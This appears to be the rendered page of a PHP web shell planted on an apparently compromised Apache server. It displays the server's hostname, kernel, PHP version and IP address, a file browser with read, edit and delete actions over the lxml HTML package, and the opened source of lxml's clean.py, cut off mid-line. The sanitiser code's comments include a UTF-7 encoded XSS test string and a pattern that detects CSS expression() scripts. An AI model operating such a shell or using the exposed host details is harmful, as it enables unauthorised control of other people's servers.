x3x3x3x_5h3ll
— 53cur3 — 5h3ll_1d —
Linux vps-10654784.cedaps.org.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
  INFO SERVER : Apache PHP : 7.4.33
/lib64/python3.6/site-packages/lxml/html/
162.240.100.168

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACTN ]
+FILE +DIR
__pycache__ dir drwxr-xr-x 2024-05-05 22:43 R D
ElementSoup.py 0.312 KB -rw-r--r-- 2011-09-25 16:58 R E G D
__init__.py 63.368 KB -rw-r--r-- 2018-03-13 20:13 R E G D
_diffcommand.py 2.085 KB -rw-r--r-- 2017-09-17 07:43 R E G D
_html5builder.py 3.17 KB -rw-r--r-- 2012-09-28 19:13 R E G D
_setmixin.py 1.085 KB -rw-r--r-- 2016-05-05 07:08 R E G D
builder.py 4.209 KB -rw-r--r-- 2011-09-25 16:58 R E G D
clean.cpython-36m-x86_64-linux-gnu.so 312.953 KB -rwxr-xr-x 2022-05-10 20:38 R E G D
clean.py 26.501 KB -rw-r--r-- 2022-05-10 20:37 R E G D
defs.py 4.114 KB -rw-r--r-- 2022-05-10 20:37 R E G D
diff.cpython-36m-x86_64-linux-gnu.so 419.563 KB -rwxr-xr-x 2022-05-10 20:38 R E G D
diff.py 29.786 KB -rw-r--r-- 2017-05-01 14:11 R E G D
formfill.py 9.462 KB -rw-r--r-- 2017-06-03 16:47 R E G D
html5parser.py 8.432 KB -rw-r--r-- 2017-09-17 07:43 R E G D
soupparser.py 9.964 KB -rw-r--r-- 2017-09-17 07:43 R E G D
usedoctest.py 0.243 KB -rw-r--r-- 2011-09-25 16:58 R E G D
REQUEST EXIT
"""A cleanup tool for HTML. Removes unwanted tags and content. See the `Cleaner` class for details. """ import re import copy try: from urlparse import urlsplit from urllib import unquote_plus except ImportError: # Python 3 from urllib.parse import urlsplit, unquote_plus from lxml import etree from lxml.html import defs from lxml.html import fromstring, XHTML_NAMESPACE from lxml.html import xhtml_to_html, _transform_result try: unichr except NameError: # Python 3 unichr = chr try: unicode except NameError: # Python 3 unicode = str try: bytes except NameError: # Python < 2.6 bytes = str try: basestring except NameError: basestring = (str, bytes) __all__ = ['clean_html', 'clean', 'Cleaner', 'autolink', 'autolink_html', 'word_break', 'word_break_html'] # Look at http://code.sixapart.com/trac/livejournal/browser/trunk/cgi-bin/cleanhtml.pl # Particularly the CSS cleaning; most of the tag cleaning is integrated now # I have multiple kinds of schemes searched; but should schemes be # whitelisted instead? # max height? # remove images? Also in CSS? background attribute? # Some way to whitelist object, iframe, etc (e.g., if you want to # allow *just* embedded YouTube movies) # Log what was deleted and why? # style="behavior: ..." might be bad in IE? # Should we have something for just ? That's the worst of the # metas. # UTF-7 detections? Example: # +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- # you don't always have to have the charset set, if the page has no charset # and there's UTF7-like code in it. # Look at these tests: http://htmlpurifier.org/live/smoketests/xssAttacks.php # This is an IE-specific construct you can have in a stylesheet to # run some Javascript: _replace_css_javascript = re.compile( r'expression\s*\(.*?\)', re.S|re.I).sub # Do I have to worry about @\nimport? _replace_css_import = re.compile( r'@\s*import', re.I).sub _looks_like_tag_content =